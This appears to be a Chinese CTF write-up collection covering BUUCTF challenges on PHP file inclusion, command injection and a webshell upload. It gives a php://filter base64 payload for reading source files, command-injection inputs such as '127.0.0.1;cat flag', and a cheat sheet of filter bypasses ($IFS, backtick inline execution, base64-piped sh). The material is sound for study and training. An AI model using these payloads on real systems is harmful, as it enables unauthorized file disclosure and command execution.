buu[ACTF2020 新生赛]Include 文件包含 任意文件读取
php支持的伪协议
常见: file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) phar:// — PHP 归档 zip,zlib:// — 压缩流 其他: data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。
打开文件出现:
点击后出现:
猜测此为文件包含类题目,故尝试使用PHP伪协议进行读取文件
/?file=php://filter/read=convert.base64-encode/resource=flag.php
php://filter/: 这是PHP的一个流包装器,它允许你应用过滤器到各种数据流。 read=convert.base64-encode: 这部分指定了应用于数据流的过滤器。在这里,它告诉PHP读取数据并通过convert.base64-encode过滤器,该过滤器会将数据编码为Base64格式。
这里是可选参数,有read和write。过滤器主要有四种:字符串过滤器,转换过滤器,压缩过滤器,加密过滤器。filter里可以用一或多个过滤器(中间用|
隔开), resource=flag.php: 这部分指定了应该读取哪个文件。在这里,它尝试读取名为flag.php的文件。
得到一串base64编码后的字符,通过解码得到flag
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=index.php
这里要尝试利用PHP过滤器功能读取并编码某个文件的url请求,
这是一个 HTTP 请求,目标是访问 cmd.php 文件,并传递一个名为 file 的查询参数。
php://filter/read=convert.base64-encode/resource=index.php:这是传递给 file 参数的值,它利用 PHP 的流(Stream)和过滤器(Filter)功能。
php://filter/:这是一个特殊的 PHP 流,允许你访问其他数据流并进行转换或处理。
read=convert.base64-encode:这部分指定了要从数据流中读取内容,并使用 convert.base64-encode 过滤器将其转换为 Base64 编码。
resource=index.php:这指定了要读取的资源,即 index.php 文件。
如果 cmd.php 文件中的代码没有适当的安全措施,这种请求可能会导致 index.php 文件的内容以 Base64 编码的形式被泄露。这种技术经常用于安全测试,如代码审计或漏洞扫描,来查看不应公开的文件内容。
[ACTF2020 新生赛]Exec 命令注入
命令注入中的连接符
; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真 %0a (换行) %0d (回车)
&&(短路运算符)前面命令执行成功后面才会执行
&前后命令互不干扰,在命令后跟一个空格和‘&’可以在后台一次性执行多个命令
||前面命令成功后就不会执行后面命令,反之,前面不成功则会执行后面命令
|前后命令互不干扰
; 可以一口气在后台运行多个命令
127.0.0.1(回环地址/环回地址)
127开头的都是回环地址
环回地址是一类特殊的ip地址,127.0.0.1——》127.225.225.224
主机号全零为网络地址,主机号全一为广播地址
0.0.0.0代表一个ip集合无法访问
wp:
首先查看源码,发现没有什么提示,然后是一个输入框,大概率就是sql注入
输入127.0.0.1;ls
说明可以查看文件,继续输入127.0.0.1;ls ../../../,得到
看出文件有flag,直接打开文件查看flag,输入127.0.0.1;cd ../../../;cat flag
得到flag
[GXYCTF2019]Ping Ping Ping 命令注入
命令绕过空格
${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 //$1改成$加其他数字貌似都行 IFS < <> {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来 %20 (space) %09 (tab) X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20) ps:有时会禁用cat: 解决方法是使用tac反向输出命令: linux命令中可以加\,所以甚至可以ca\t /fl\ag
内联执行
将反引号内的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls` $IFS在Linux下表示为空格 $9是当前系统shell进程第九个参数持有者,始终为空字符串,$后可以接任意数字 这里$IFS$9或$IFS垂直,后面加个$与{}类似,起截断作用
wp
打开后根据提示自行补全IP
接着查看详细信息ls发现
直接cat这两个文件,均出现
猜测是过滤了空格,用${IFS}(在Linux系统中识别为空格)代替
又过滤了符号,使用
$IFS$1
01变量拼接
发现不能出现f,l,a,g,使用变量拼接:
02内敛执行法
发现被过滤的符号不包含"`",使用内联执行法
使用cat打开ls下的所有文件
03 sh编码绕过法
使用方法
echo 命令编码|base64 -d|sh
[极客大挑战 2019]Knife 文件上传
打开界面是这样的
很明显一句话木马直接给出了,直接使用yijian连接一下
查看文件,找到flag